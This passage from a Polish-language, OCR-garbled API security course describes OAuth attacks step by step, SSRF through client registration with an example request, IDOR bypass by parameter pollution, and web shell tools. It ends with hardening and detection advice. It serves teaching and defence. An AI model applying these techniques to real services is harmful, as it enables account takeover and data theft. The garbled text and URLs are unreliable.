- Uzywa CSRF, aby uzytkownik wylogowat sie z dostawcy.

- Ponownie uzywa CSRF, aby uzytkownik logowat sie do dostawcy przy uzyciu fatszywych danych
logowania do konta.

- Fatszuje pierwsze zgdanie potgczenia konta dostawcy z klientem. To tylko kolejne zgdanie GET. Zwykle
odbywa sie to wewnatrz znacznika <iframe>, aby uzytkownik nie byt Swiadomy tej akcji.

» Gdy ofiara otworzy ztosliwg strone atakujgcego, jej konto zostaje wylogowane u dostawcy i tgczy sie
jako fatszywe konto. Nastepnie fatszywe konto atakujgcego jest taczone z kontem ofiary na kliencie.
Ofiara nie pyta klienta o zgode, poniewaz atakujacy juz jg zatwierdzit.

¢ Atakujgcy moze wiec zalogowac sie na konto ofiary po stronie klienta przy uzyciu swojego fatszywego
konta u dostawcy.

o Atak na ,redirect_uri”

Podczas rejestracji domena jest zwykle okreslana przez klienta i dozwolone sg tylko te ,redirect_uri”
w okreslonej domenie, jesli atakujacy moze zidentyfikowac luki w zabezpieczeniach, takie jak XSS na
stronie internetowej w domenie klienta, moze je wykorzysta¢ do przechwycenia Kod autoryzacji.

Kroki przeprowadzania ataku na ,redirect_uri”:
¢ Osoba atakujgca wycieka dane przez podatng na ataki strone w domenie klienta:
https://xyz.com/vuln

¢ Atakujacy instaluje na stronie ztosliwy kod JavaScript; nastepnie strona wysyta adres URL, ktory jest
tadowany w przegladarce (wraz z parametrem i fragmentami) do atakujgcego

Atakujacy tworzy strone, ktéra prosi uzytkownika o otwarcie ztosliwego tacza:



https://provider.com/oauth/authorize?client_id=IDKLIENTA&response_type=auth_code&redirect_ur
i=https%3A%2F%2Fxyz.com%2Fvuln

Kiedy ofiara otwiera ztoSliwe tgcze, agent uzytkownika jest przekierowywany na strone
https://xyz.com/vuln?code=CODE, a KOD jest nastepnie eksfiltrowany do atakujgcego

e Teraz atakujgcy uzywa odzyskanego kodu, aby dostarczy¢ token dostepu za posrednictwem
autentycznego ,redirect_uri”, takiego jak https://xyz.com/oauth/callback?code=CODE.

o CSRF w odpowiedzi na autoryzacje

Atakujgcy przeprowadza atak CSRF w celu potgczenia fatszywego konta u dostawcy z kontem ofiary po
stronie klienta. Ten atak wykorzystuje trzecie zgdanie zwigzane z przyznaniem kodu autoryzacyjnego.

Kroki, aby wykona¢ CSRF w odpowiedzi na autoryzacje:
e Atakujacy otwiera fatszywe konto u dostawcy

e Atakujacy rozpoczyna operacje ,Potgcz” z klientem za posrednictwem swojego fatszywego konta u
dostawcy, ale wstrzymuje przekierowania serwera autoryzacyjnego, co oznacza, ze atakujgcy
potwierdzit dostep klienta do jego zasobdéw u dostawcy, podczas gdy klient nie jest poinformowany. W
zwigzku z tym atakujgcy przechowuje kod_autoryzacji.

e Atakujacy przekonuje uzytkownika do wystania zadania

https://xyz.com/<dostawca>/login?code=Auth_Code. Operacja ta moze zosta¢ zaimplementowana
poprzez naktonienie ofiary do otwarcia ztosliwego facza osadzonego w tagu img lub script wraz z
powyzszym tgczem jako zrédtem.

e Kiedy ofiara loguje sie do klienta, fatszywe konto atakujacego zostaje potgczone z kontem ofiary

e Teraz atakujgcy moze zalogowad sie jako ofiara na kliencie, logujgc sie przy uzyciu swojego
fatszywego konta u dostawcy

o Ponowne uzycie tokena dostepu

OAuth wymaga unikalnych tokenéw dostepu dla poszczegdlnych klientéw. Zapewnia to, ze te tokeny
zapisane na serwerze autoryzacji s3 mapowane na odpowiednie zakresy i czas wygasniecia. Tokeny
dostepu dostarczone dla , Klienta A” mogg dziata¢ dla ,Klienta B”. Atakujgcy wykorzystujg te funkcje
do przeprowadzania atakdw na klientéw, ktére niejawnie zezwalajg na dotacje.

Kroki ponownego uzycia tokendw dostepu:
¢ Osoba atakujgca opracowuje legalng aplikacje kliencka ,,clientA” i rejestruje jg u pewnego dostawcy

¢ Teraz atakujgcy naktania ofiare do uzyskania dostepu do , klienta A” i uzyskuje nielegalny dostep do
tokena dostepu ofiary na ,kliencie A”

e Zatézmy, ze ofiara uzyskuje dostep do ,klienta”, ktdry korzysta z domniemanego grantu. W takim
przypadku serwer autoryzacji przekierowuje agenta uzytkownika do

https://clientB.com/callback#access_token=ACCESSTOKEN. Teraz osoba atakujgca moze otworzy¢ ten
adres URL za pomocg access_token klienta.

e Atakujacy jest weryfikowany jako wazny podmiot przez ,klienta”. W zwigzku z tym jeden token
dostepu jest wystarczajgcy do uzycia na wielu klientach korzystajgcych z niejawnego przydziatu.



o SSRF przy uzyciu dynamicznego punktu koricowego rejestracji klienta

Podczas testowania czarnej skrzynki na serwerze OAuth analiza moze nie wykrywac ukrytych adresow
URL, takich jak punkt koncowy dynamicznej rejestracji klienta. Te adresy URL sg uzywane jako specjalne
punkty koricowe rejestracji i s mapowane na /register. Osoba atakujgca moze przeprowadzi¢ atak
SSRF przy uzyciu tych adresdéw URL powigzanych z parametrami, jak pokazano w nastepujacym zgdaniu
POST:

POST /connect/register HTTP/1.1

Content-Type: application/json

Host: server.certifiedhacker.com

Authorization: Bearer eyJhbGciOiJSUz!INiJ9.ey] ...

{

"application_type": "web app",

"redirect_uris":
["https://client.certifiedhacker.com/callback"],
"client_name": "Sample Test",

"logo_uri": "https://client.certifiedhacker.com/logo.png",
"subject_type": "pairwise",

"sector_identifier_uri":
"https://certifiedhacker.com/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri":
"https://client.certifiedhacker.com/public_keys.jwks",
"contacts": ["hacker@certifiedhacker.com"],
"request_uris":
["https://client.certifiedhacker.com/rf.txt"]

}

Powyzsze zgdanie POST zawiera kilka wartosci odwotan do adreséw URL, ktére mogg wywotac atak
SSRF. Podatne na ataki parametry to iogo_uri, jwks_uri i request_uris.

® logo_uri: Po zarejestrowaniu nowego uzytkownika serwer autoryzuje punkt koficowy przy uzyciu
nowego identyfikatora klienta i wyswietla logo za pomocga parametru logo_uri. Jesli serwer pobierze
logo, moze nastgpic atak SSRF.

e jwks_uri: Klucz JWT jest wazny dla serwera do sprawdzania poprawnosci uwierzytelniania klienta
tokenu punktu koricowego. Jesli aplikacja kliencka jest zarejestrowana ze ztosliwym adresem URL w
parametrze jwks_uri, moze wystgpi¢ atak SSRF; w ten sposéb atakujagcy moze uzyskaé kod
autoryzacyjny dla wszystkich uzytkownikow.



e request_uris: Ten parametr zawiera tablice adreséw URL uzywanych podczas autoryzacji punktu
korncowego. Adres URL zawiera zgdane informacje z tokenem JWT. Mozliwe jest wykonanie ataku SSRF
przy uzyciu parametru request_uri.

0 Wyliczanie uzytkownikéw WebFinger

WebFinger to standardowy protokét uzywany do wyswietlania wszystkich informacji o uzytkowniku za
posrednictwem zgdania GET. W autoryzacji OAuth ,/.well-known/webfinger” sprawdza poprawnosé
punktu koncowego z nazwg uzytkownika, ktéra nie istnieje na serwerze. Atakujgcy moze uzyé
»,anonimowego” jako nazwy uzytkownika, aby potwierdzi¢, ze jest prawdziwym kontem uzytkownika
na serwerze. Poniewaz konto nie zostato znalezione lub nie jest uzywane przez aplikacje kliencka
OpenlD, mozemy stwierdzié, ze zgdanie nie pochodzi ze strony przegladarki. Dlatego odpowiedz? z
serwera zawiera prawidtowy adres URL w postaci ,http://host/user” zamiast wartosci parametru rei.

o Wykorzystanie btednej walidacji zakresu

Atakujgcy wykorzystujg luki w zabezpieczeniach dostawcéw ustug OAuth w celu eskalacji zakresu, co
skutkuje eksfiltracjg dodatkowych danych wiasciciela zasobu. Jesli osoba atakujgca znajdzie sposdb na
zmodyfikowanie parametru zakresu w zadaniu autoryzacji tokena dostepu, moze zwabi¢ dostawcow
ustug OAuth za pomocg wadliwych zakreséw w celu uzyskania dodatkowego dostepu do zakresu. Ten
parametr zakresu pomaga w zapewnieniu zakresu dostepu do aplikacji klienckiej, ktdry jest
definiowany dynamicznie przez klienta lub przy uzyciu standardowych encji zakresu, takich jak OpenID
Connect.

Kroki w celu wykorzystania wadliwej walidacji zakresu

Atakujacy uzywajg réznych typéw dotacji, aby wykorzystaé wadliwg weryfikacje zakresu. Ponizej
przedstawiono dwa rodzaje dotacji uzywane przez osoby atakujgce podczas ataku.

¢ Typ nadania kodu autoryzacyjnego:

- Osoba atakujgca rejestruje sie w ustudze OAuth uzywane] przez wtasciciela zasobu docelowego dla
jego ztosliwej aplikacji klienckiej https://xyz.com.

- Gdy ofiara prébuje otworzy¢ ztosliwg aplikacje klienckg atakujgcego, inicjuje zagdanie do dostawcy
ustugi OAuth w celu uzyskania dostepu do adresu e-mail klienta przy uzyciu zakresu poczty e-mail
OpenlD.

- Gdy uzytkownik udzieli autoryzacji na swoje zgdanie, osoba atakujgca uzyskuje w odpowiedzi kod
autoryzacji.

- Teraz osoba atakujgca inicjuje proces eskalacji zakresu dla docelowego klienta, kontrolujac ztosliwg
aplikacje kliencka w celu dodania dodatkowego zakresu

client_id=12345&client_secret=TAJNE&redirect_uri=https:/
/xyz.com/callback&grant_type=authorization_code&code=alb2
c3d4e5f6g7h8&scope=0penid%20 email%20profil.

- Po zatwierdzeniu przez serwer OAuth atakujgcy uzyskuje nowy token dostepu zawierajagcy nowo
dodany dodatkowy zakres:

"access_token":"zOy9x8w7v6u5",

"token_type":"Bearer",



"expires_in":3600,

"scope": "openid email profile",

- Teraz osoba atakujgca uzyskuje prawidtowy token dostepu, aby uzyskaé dostep i przechowywacd
dodatkowe dane, uzywajgc eskalowanego zakresu do wykonywania zwyktych wywotan interfejsu API
do klienta.

Domniemany typ dotacji:

- Celem atakujgcego jest podatna na ataki aplikacja kliencka, ktéra wykorzystuje niejawny proces typu
grant w celu uzyskania tokendw dostepu od swoich klientéw za posrednictwem otwartej przegladarki.

https://xyz.com/vuln

- Kiedy docelowa aplikacja kliencka uzyska zgode od swojego klienta i zostanie wygenerowany
odpowiedni token dostepu, osoba atakujgca probuje go schowac.

- Po uzyskaniu tokena dostepu z docelowej aplikacji klienckiej atakujacy inicjuje nowe zgdanie do
odpowiedniego dostawcy ustugi OAuth ze zmienionym zakresem /informacje o uzytkowniku.

- Poniewaz klient udzielit juz pozwolenia na dostep do danych docelowej aplikacji klienckiej, osoba
atakujgca moze teraz uzyska¢ dostep do dodatkowych informacji od uzytkownika, dopdki serwer
OAuth nie zweryfikuje i nie zweryfikuje parametru zakresu.

Inne techniki hakowania API
Ponizej omoéwiono rézne sposoby hakowania interfejsu API:
Inzynieria wsteczna

Przegladanie interfejsow APl z punktu widzenia programisty moze by¢ btedne, poniewaz sprawdza
tylko, czy interfejs APl dziata zgodnie z przeznaczeniem. Po wdrozeniu dla uzytkownikéw koncowych
moze nie dziata¢ tak, jak dziatato w srodowisku deweloperskim. Wtasnie to czesto prdébujg zrobic
napastnicy podczas inzynierii wstecznej interfejsu API. Atakujacy odwotujg sie do interfejséw APl w
odwrotnej kolejnosci, aby zidentyfikowac luki w interfejsie API, ktére mozina ukry¢ w czasie
rzeczywistym. Zatézmy na przyktad, ze zamdwienie zostato ztozone przy uzyciu tego samego konta,
ktére zostato juz uzyte do wczesniejszej rezerwacji. Przeptyw zamdwien wyglagda mniej wiecej tak:

0 Zamoéwienie ztozone
0 Zamowienie powigzane z kontem
o0 Zamoéwienie zostato przyjete

Atakujacy moga wykorzystaé ten przeptyw w procesie inzynierii wstecznej interfejsu API. Jedli
mechanizm akceptacji zostanie przeprowadzony w odwrotnej kolejnosci, wewnetrzny interfejs API
uzywany do tgczenia zlecen z kontami moze ulec awarii, zmuszajgc w ten sposéb przeglgdarke do
ujawnienia szczegdtéw konta uzytkownika.

Podszywanie sie pod uzytkownika

Jest to proces ukrywania pierwotnej tozsamosci i podszywania sie pod inng wazng istote. W wiekszosci
przypadkow atakujgcy prdbuje ujawnic sie jako legalny uzytkownik ze specjalnymi uprawnieniami i
zapewnia bezpfatny dostep do danych dodatkowym uzytkownikom, aby wyrzadzi¢ wiecej szkéd.
Atakujgcy wykorzystujg dane uzyskane w wyniku phishingu lub innych metod wycieku informacji, aby



podszywacd sie pod pierwotnego uzytkownika. Jesli atakujgcemu uda sie wlamaé do systemu, moze
przeprowadzi¢ pewien rodzaj ataku eskalacji uprawnien, przekierowujac funkcje URI do innego URI,
wstrzykujgc kod, ktdry stuzy jako tekst lub bombardujgc interfejs APl nadmierng iloscig danych,
powodujac przepetnienie bufora.

Ataki typu ,,man-in-the-middle”.

W ataku MITM atakujgcy obserwuja komunikacje APl z serwerem lub zachowuja sie jak serwer,
przechwytujagc wywotania zgdan. W tym przypadku motywem atakujgcego jest dostarczenie
fatszywych linkéw, ktére wydajg sie by¢ uzasadnione w interakcji z interfejsem API. Ataki te mozna
przeprowadzi¢ poprzez przysiadanie domeny i kopiowanie lokalizacji zasobéw APl. Na przykfad
uzytkownik moze wywotac¢ zaséb za posrednictwem APL.io/media/function, a atakujgcy moze siedzieé
w APO.io/media/function. Zmiana pojedynczego znaku moze zrobi¢ znaczgcg réznice. Jesli uzytkownik
kliknie drugi link bez zauwazenia btednej interpretacji adresu URL, przekaze poufne informacje na
serwer kontrolowany przez osobe atakujaca.

Ataki polegajace na powtdrzeniu sesji

Ataki polegajace na odtwarzaniu sesji moga byc¢ przeprowadzane na stronach internetowych i innych
zrédtach, ktére inicjujg i przechowujg sesje. Ataki te sg zwykle przeprowadzane w celu uzyskania
identyfikatoréw sesji i odtworzenia ich na serwerze. W takim przypadku osoby atakujgce cofajg czas
sesji i proszg serwer o ujawnienie informacji, tak jakby podobne zgdanie byto wysytane ponownie.

Inzynieria spoteczna

Chociaz moze to nie by¢ bezposredni atak API, socjotechnika moze byé przeprowadzona za
posrednictwem API. Socjotechnika nie wptywa na APl ani kod maszynowy; jest to technika
wykorzystywana do nakfaniania uzytkownikéw do ujawnienia swoich danych uwierzytelniajgcych lub
innych poufnych informacji. Phishing to technika czesto uzywana do wysytania ztosliwych linkéw do
uzytkownikéw za posrednictwem poczty e-mail w celu zresetowania lub zweryfikowania ich danych
uwierzytelniajgcych. Spear-phishing to kolejny wyrafinowany atak socjotechniczny, w ktérym
uzytkownikom dostarczane sg dodatkowe dane, dzieki czemu sadzg, ze wchodzg w interakcje z
prawidtowym punktem koncowym. Jesli uzytkownik wprowadzi swoje dane uwierzytelniajgce na
fatszywym tgczu, osoby atakujagce mogg przechwyci¢ dane i przeprowadzié¢ dalsze ataki, takie jak
modyfikacja danych konta i nielegalne transakcje online przy uzyciu skradzionych danych
uwierzytelniajgcych.

Skanowanie luk w zabezpieczeniach interfejsu APl REST

Luki w zabezpieczeniach REST APl niosg ze sobg takie same zagrozenia, jak problemy z
bezpieczenstwem w aplikacjach internetowych i witrynach internetowych. Zagrozenia te obejmujg
kradziez krytycznych danych, manipulowanie danymi posrednimi itp. Przeprowadzenie dokfadnego
skanowania interfejséw API REST moze ujawnié rézne luki w zabezpieczeniach, ktére atakujgcy mogg
wykorzystaé. Atakujacy mogg uzywac narzedzi takich jak Astra, Fuzzapi, W3af i Appspider do
przeprowadzania skanowania pod katem luk w zabezpieczeniach REST API.

Astra

Atakujgcy wykorzystujg narzedzie Astra do wykrywania i wykorzystywania luk w zabezpieczeniach
interfejsu APl REST. Astra moze wykrywac i testowaé uwierzytelnienia, takie jak logowanie i
wylogowanie; ta funkcja utatwia atakujgcym wiaczenie go do potoku CICD. Astra moze wywotywac
kolekcje API jako wartos¢ wejsciowq; w zwigzku z tym moze by¢ réwniez uzywany do skanowania



interfejséw API REST. Astra umozliwia atakujgcym wykrywanie interfejsow APl REST, ktére sg podatne
na ataki, takie jak XSS, iniekcja SQL, wyciek informacji, CSRF, uszkodzone uwierzytelnianie i sesja
zarzadzania, atak JWT, wstrzykiwanie slepego XXE, wykrywanie CRLF, btedna konfiguracja CORS i
ograniczanie szybkosci.

Oto niektére narzedzia do skanowania luk w zabezpieczeniach interfejsu API REST:
Fuzzapi (https://github.com)

w3af ( https://w3of.org)

apppider (https://www.ropid7.com)

Vooki (https://www.vegobird.com)

OWASP ZAP (https://www.zoproxy.org)

Pomijanie IDOR za pomocg parametru Pollution

Insecure Direct Object Reference (IDOR) to luka w zabezpieczeniach, ktéra pojawia sie, gdy programisci
ujawniajg odniesienia do wewnetrznych obiektéw egzekwowania danych, takich jak klucze bazy
danych, katalogi i inne pliki, ktére atakujacy moze wykorzysta¢ do zmodyfikowania tych odniesien i
uzyskania nieautoryzowanego dostepu do danych . Te identyfikatory IDOR mozna omingé, podajac
wielokrotnie jedng nazwe parametru, ale z unikalnymi wartosciami. Zatézmy na przyktad, ze userjd
ofiary to 321. Atakujgcy mogg zmieni¢ te wartos¢ userjd na 654 (jest to inna wartos¢ userjd), aby
zidentyfikowa¢ IDOR. Jesli strona nie jest podatna na IDOR, generuje komunikat o btedzie
,401Unauthorized”. Aby oming¢ identyfikator IDOR poprzez zanieczyszczanie parametrow, atakujgcy
wysyta jako zadanie dwa parametry userjd, w ktorych do jednego parametru dotgczany jest userjd
ofiary, a do drugiego dofgczany jest wiasny userjd atakujgcego. Rozwazmy na przyktad nastepujgce
zadanie:

api.xyz.com/profile/user_id=321

Atakujgcy manipuluje powyziszym zgdaniem za pomocg zanieczyszczenia parametrami w celu
ominiecia identyfikatora IDOR:

api.xyz.com/profile/user_id=654&user_id=321

Gdy ww. zgdanie jest przetwarzane w punkcie konicowym REST API, aplikacja weryfikuje pierwszy
parametr userjd i upewnia sie, ze uzytkownik wysytajgcy zgdanie umiescit w zagdaniu GET wtasnego
uzytkownika userjd. Dlatego atakujgcy moze oming¢ IDOR, podajgc dwa parametry userjd: jeden
nalezy do ofiary, a drugi do atakujgcego. Aplikacja zostaje oszukana, aby uznaé jg za prawidiowg
prosbe. Atakujgcy uzywajg narzedzi takich jak Burp Suite do proxy ruchu i przechwytywania catego
ruchu do punktow konicowych APl REST. Nastepnie uzywajg techniki zanieczyszczenia parametrami,
aby wystaé zarédwno userjd atakujacego, jak i userjd ofiary w zadaniu GET, aby uzyskaé
nieautoryzowany dostep i pobraé poufne dane z konta ofiary. Korzystajgc z tej techniki, atakujagcy moga
réowniez péjs¢ na kompromis funkcjonalnosci aplikacji, poniewaz kazdy parametr wewnatrz aplikacji
jest podatny na ten atak.

Powtoki internetowe

Powtoka sieciowa to ztosliwy fragment kodu lub skryptu opracowany przy uzyciu jezykéw po stronie
serwera takich jak PHP, ASP, PERL, RUBY i Python, a nastepnie instalowane na serwerze docelowym.
Ztosliwy skrypt umozliwia atakujgcym uzyskanie zdalnego dostepu lub mozliwosci zdalnej administracji



za posrednictwem serwera docelowego wraz z jego systemem plikéw. Atakujgcy wstrzykujg ztosliwe
skrypty, wykorzystujgc najczestsze luki w zabezpieczeniach, takie jak zdalne wtgczanie plikow (RFI),
wtgczanie plikdw lokalnych (LFI), ujawnianie interfejséw administracyjnych i wstrzykiwanie kodu SQL.
Atakujgcy moga réwniez przeprowadzac ataki XSS przy uzyciu technik inzynierii spotecznej w celu
zainstalowania ztosliwego kodu. Atakujgcy wykorzystujg réwniez narzedzia do monitorowania sieci
(gtéwnie Wireshark), aby wykry¢ luki w zabezpieczeniach, ktére mozna pdzniej wykorzysta¢ do
wstrzykniecia powtoki sieciowej. Luki te czesto lezg w oprogramowaniu serwera WWW lub systemie
zarzadzania trescig (CMS). Powtoki sieciowe s3g wykorzystywane przez atakujgcego do
przeprowadzania eskalacji uprawnien i uzyskiwania zdalnego dostepu w celu pobierania, wysytfania,
usuwania i wykonywania plikdbw na docelowym serwerze sieciowym. Korzystajagc z powtoki
internetowej, atakujgcy mogg réwniez wykras¢ prywatne dane, zaszkodzi¢ reputacji strony
internetowej poprzez ataki DDoS, zmieni¢ strukture strony internetowej, uniemozliwi¢ dostep do
zasobow strony internetowej w Internecie, zachowac trwatos¢, eksfiltrowac dane itp.

Narzedzia powtoki internetowej

Atakujacy uzywajg réznych narzedzi powtoki sieciowej, takich jak WSO PHP Webshell, b374k, C99,
China chopper, R57 i WSO (powtoka internetowa firmy oRb), aby uzyska¢ zdalng kontrole nad
docelowymi serwerami sieciowymi.

WSO Php Webshell

WSO Php Webshell to powtoka internetowa, ktéra umozliwia atakujgcym monitorowanie
uruchomionych proceséw i wykonywanie zdalnych polecei w celu pobierania, przesytania, usuwania
lub edytowania plikdw. Umozliwia takze atakujagcym dostep do zdalnych serwerdw i infekowanie ich
oraz dostep do baz danych SQL.

Oto niektére dodatkowe narzedzia powtoki internetowe;j:
Caterpillar WebShell (https://ottock.mitre.org)

b374k shell (https://github.com)

C99 (https://github.com)

Chine Chopper (https://ottock.mitre.org)

R57 (https://github.com)

Jak zapobiec instalacji powtoki internetowej
Ponizej przedstawiono rézne najlepsze praktyki zapobiegania instalacji powtoki sieciowej:

Aktualizuj system operacyjny aplikacji i serwera hosta oraz regularnie instaluj poprawki, aby chroni¢
aplikacje przed znanymi btedami.

Ustanowi¢ strefe zdemilitaryzowang (DMZ) miedzy serwerem WWW a siecig wewnetrzna.

Zapewnij bezpieczng konfiguracje serwera WWW, korzystajgc z silnych technik uwierzytelniania i
unikaj uzywania haset domysinych.

Zablokuj wszystkie nieuzywane porty i niepotrzebne ustugi dziatajgce na serwerach WWW.



Sprawdzaj poprawnos¢ danych wprowadzanych przez uzytkownika, aby kontrolowad i zapobiegad
lukom w zabezpieczeniach dotyczagcym dotgczania plikéw lokalnych (LFI) i zdalnego dotaczania plikdw
(RFI).

Ustanowienie ustugi odwrotnego proxy do odzyskiwania zasobdw i ograniczania adreséw URL
administratora do znanych, legalnych adresdw.

Wykonuj regularne skanowanie w poszukiwaniu luk w zabezpieczeniach, aby wykrywaé obszary
zagrozen za pomocg dowolnego oprogramowania zabezpieczajgcego siec.

Wdréz zapory ogniowe na serwerze WWW, aby monitorowac i kontrolowac ruch sieciowy w oparciu o
reguty bezpieczenstwa.

Dezaktywu] przegladanie katalogéw na serwerze WWW, aby zapobiec atakom z przechodzeniem
katalogu.

Regularnie kontroluj konta i przegladaj uprawnienia grupy, aby zapobiec instalacji powtoki
internetowej z serwera WWW do sieci wewnetrznej.

Wytacz wszystkie nieuzywane i ryzykowne funkcje PHP, takie jak exec(), shell_exec(), show source(),
proc open(), passthru() i pcntl exec().

Uzyj escapeshellargO i escapeshellcmd(), aby upewni¢ sie, ze dane wejsciowe uzytkownika nie zostang
wstrzykniete do polecen powtoki, aby unikngé luk w wykonywaniu polecen.

Upewnij sie, ze wszystkie aplikacje internetowe korzystajgce z formularzy przesytania sg bezpieczne i
zezwalaja tylko na typy plikdw z biatej listy.

Unikaj uzywania kodu z niezaufanych stron internetowych lub foréw internetowych.
Nie instaluj zbednych wtyczek firm trzecich i regularnie sprawdzaj i aktualizuj uzywane wtyczki.

Zaimplementuj zasade najnizszych uprawnien, aby upewnic sie, ze aplikacje nie majg bezposredniego
dostepu do zapisu lub modyfikacji katalogu dostepnego przez Internet.

Zaimplementuj architekture o zerowym zaufaniu, korzystajac z sieci definiowanej programowo (SDN),
aby ustanowié¢ komunikacje sieciowg poprzez autoryzacje.

Korzystaj z rozwigzan bezpieczenstwa opartych na hoscie, ktére oferujg zaawansowane funkcje, takie
jak uczenie maszynowe i reputacja plikéw.

Wdrazaj narzedzia do rejestrowania, takie jak Auditd lub Microsoft Sysmon, w celu wykrywania
nietypowych zachowan.

Ogranicz liczbe portdéw, ktére mogg uzyskac dostep do serwera WWW.

Wytacz poufne katalogi, ktdre umozliwiajg przesytanie za posrednictwem plikdw multimedialnych. Jesli
wytgczenie nie jest mozliwe, zmien nazwy katalogdw i ogranicz dostep.

Recznie zweryfikuj kod zrédtowy plikow, aby zidentyfikowac ostatnio dodany podejrzany kod.
Narzedzia do wykrywania powtoki sieciowej

Atakujacy czesto prébuja wykry¢ luki w zabezpieczeniach aplikacji lub strony internetowej, za
posrednictwem ktérych atakujg serwery sieciowe. Nastepnie wykorzystujg te luki do instalowania
backdooréw za posrednictwem powtok sieciowych w celu uzyskania zdalnego dostepu i wykonywania



ztosliwych operacji na docelowym serwerze. Aby zapobiec takim atakom, obowigzkowe jest
przeprowadzanie regularnego skanowania powtoki sieciowej lub skanowania backdoora. Specjalisci ds.
bezpieczenstwa uzywajg narzedzi, takich jak Web Shell Detector, FireEye Network Security i NeoPl, aby
wykry¢ te powtoki sieciowe na docelowych serwerach.

Detektor powtoki internetowej

Web Shell Detector to oparty na PHP/Python skrypt, ktéry pomaga w skanowaniu i odkrywaniu powtok
php/cgi(perl)/asp/aspx. Posiada baze sygnatur powtok internetowych, ktéra pomaga w odkryciu
powtoki internetowe;j”.

Ponizej wymieniono niektére narzedzia do wykrywania powtoki internetowej:
Bezpieczenstwo sieci FireEye (https://www.fireeye.com)

NeoPI (https://github.com)

AntiShell Web Shell Hunter (https://ontishell.com)

Astra (https://www.getostro.com)

Bezpieczna architektura API

AP| to popularna technologia, ktora petni role bramki komunikacyjnej i integruje rézne aplikacje
korzystajgce z sieci. API jest szeroko stosowane ze wzgledu na zaawansowane techniki i wykorzystanie
dominujacej infrastruktury. Jest podatny na najnowsze i wyrafinowane ataki cybernetyczne ze wzgledu
na rozne luki w zabezpieczeniach spowodowane ztymi praktykami programistycznymi, a takze ze
wzgledu na swojg przejrzystos¢. Aby zabezpieczy¢ interfejs API przed tymi atakami, specjalisci ds.
bezpieczenstwa i programisci muszg ustanowi¢ bezpieczng architekture interfejsu API, skuteczne
strategie bezpieczenstwa i zasady fagodzenia skutkdw. Architektura API jest zbudowana przy uzyciu
bramy API sktadajacej sie z zapdr ogniowych, ktére dziatajg jako serwer do kontroli ruchu i wykrywania
wszystkich mozliwych atakéw. Wykonywanie polityki bezpieczenstwa dla architektury bezpieczenstwa
APl odbywa sie poprzez izolowanie implementacji APl i bezpieczenstwa APl na réznych warstwach.
Warstwy te podkreslajg, ze projekt APl i bezpieczernstwo API petnig rézne role, ktére wymagajg réznych
dziedzin wiedzy. Koncentruje sie na logicznym rozdzieleniu probleméw, gdzie ktadzie sie nacisk na
wiedze o rozwigzywaniu wtasciwego problemu we wifasciwym czasie. W ramach bezpiecznej
architektury API programista APl koncentruje sie tylko na domenie aplikacji, zapewnia, ze wszystkie
APl s3 odpowiednio zaprojektowane i pomaga w integracji APl z réznymi aplikacjami. Proces
bezpieczenstwa opublikowanego APl jest wdrazany przez specjaliste ds. bezpieczenstwa API; w
zwigzku z tym programista interfejsu APl nie musi zajmowa¢ sie zabezpieczaniem opublikowanego
interfejsu API. Tylko specjalisci ds. bezpieczenstwa interfejséw APl majg uprawnienia do stosowania
zasad bezpieczenstwa do interfejsow APl w organizacji. Specjalisci ci koncentrujg sie gtéwnie na
tozsamosci, zagrozeniach w interfejsie APl i bezpieczenstwie danych. Potrzebujg wiec
zaawansowanych i odpowiednich narzedzi do wykonywania zadan zwigzanych z bezpieczeristwem,
ktore sg niezalezne od implementacji API. Specjalisci ds. bezpieczenstwa korzystajg z bramek API, ktore
sg wzmocnionymi urzgdzeniami dostepnymi zaréwno w formie fizycznej, jak i wirtualnej. Bramy te sg
instalowane w strefie zdemilitaryzowanej (DMZ) organizacji. Brama API dziata rowniez jako bezpieczny
posrednik miedzy aplikacja wewnetrzng a zewnetrznym publicznym Internetem. Zapewnia
administratorowi bezpieczenstwa APl wiele funkcji bezpieczenstwa i kontroli, takich jak kontrola
dostepu, wykrywanie zagrozen, poufnos¢, integralnos¢, zarzgdzanie audytem, uwierzytelnianie,
sprawdzanie poprawnosci wiadomosci i ograniczanie szybkosci wszystkich interfejséw API
opublikowanych przez organizacje.



Implementacja zabezpieczen warstwowych w interfejsie API

Interfejsy APl sg powszechnie uzywane przez organizacje biznesowe do tgczenia rdoznych ustug i
przesytania danych. Atakujacy prébujg wykorzysta¢ luki w interfejsie API, takie jak zepsute
uwierzytelnianie i btedna konfiguracja zabezpieczen, do ztosliwych celéw. Ujawnione interfejsy API
moga stac sie gtdwng przyczyng naruszenia poufnych danych, takich jak dane osobowe (PIl). W zwigzku
z tym programisci muszg stosowac wiele warstw zabezpieczen, aby unikngé narazenia na interfejs API
i naruszenia bezpieczeristwa danych. Biorgc pod uwage scenariusz interfejsu API, ktéry pobiera
transakcje firmy, programisci i eksperci ds. bezpieczennstwa mogg wdrozy¢ nastepujace zabezpieczenia
oparte na warstwach dla interfejsu API:

Warstwa pierwsza

APl weryfikuje uzytkownika, aby sprawdzié, czy podmiot jest autoryzowany przez firme. W tej sytuacji
programisci mogg skorzysta¢ z zabezpieczen API, dzieki ktérym zostanie zwrdcony wyjatek, jesli
uzytkownik nie jest autoryzowany lub nie ma uprawnied. Na przykfad interfejs APl moze zgtosic
wyjatek ,Nie znaleziono firmy”. Pomaga to programiscie interfejsu APl zidentyfikowac kazdg
nieprawidtowa firme.

Warstwa druga

W tej warstwie oprogramowanie posrednie moze by¢ uzywane przez interfejs APl do udostepniania
planu zapytan przez wywotfanie warstwy danych. Warstwa bazy danych deklaruje filtr dla
identyfikatora firmy przed wystaniem Zgdania. Deweloperzy mogg wiaczy¢é mechanizm
bezpieczenstwa, aby zwrdci¢ wyjatek, taki jak ,Niebezpieczne zapytanie o dane” w przypadku braku
takiego filtra.

Warstwa trzecia

W tej warstwie sprzezenie SQL musi by¢ uzywane do wysytania zapytan do bazy danych SQL przy uzyciu
warstwy facza danych opartej na wywotaniach interfejsu APl. Pomaga to zapewnié, ze wszystkie
zapytania pasujg do uzytkownika odpowiedzialnego za wywotanie API. Ponadto weryfikuje kontekst
uzytkownika, w przeciwienstwie do jego danych przechowywanych przez warstwe SQL.

Warstwa czwarta

Ta warstwa tworzy warstwe odwzorowujgca, ktéra umozliwia konwersje wszystkich rekordéw bazy
danych na rézne modele widoczne dla uzytkownika. Tej techniki mozna uzy¢, aby uniemozliwié dostep
opinii publicznej lub klientéw do wrazliwych danych, takich jak szczegéty implementacji.

Warstwa piata

Filtr odpowiedzi interfejsu APl weryfikuje modele generowane przez powyzszg warstwe mappera. Po
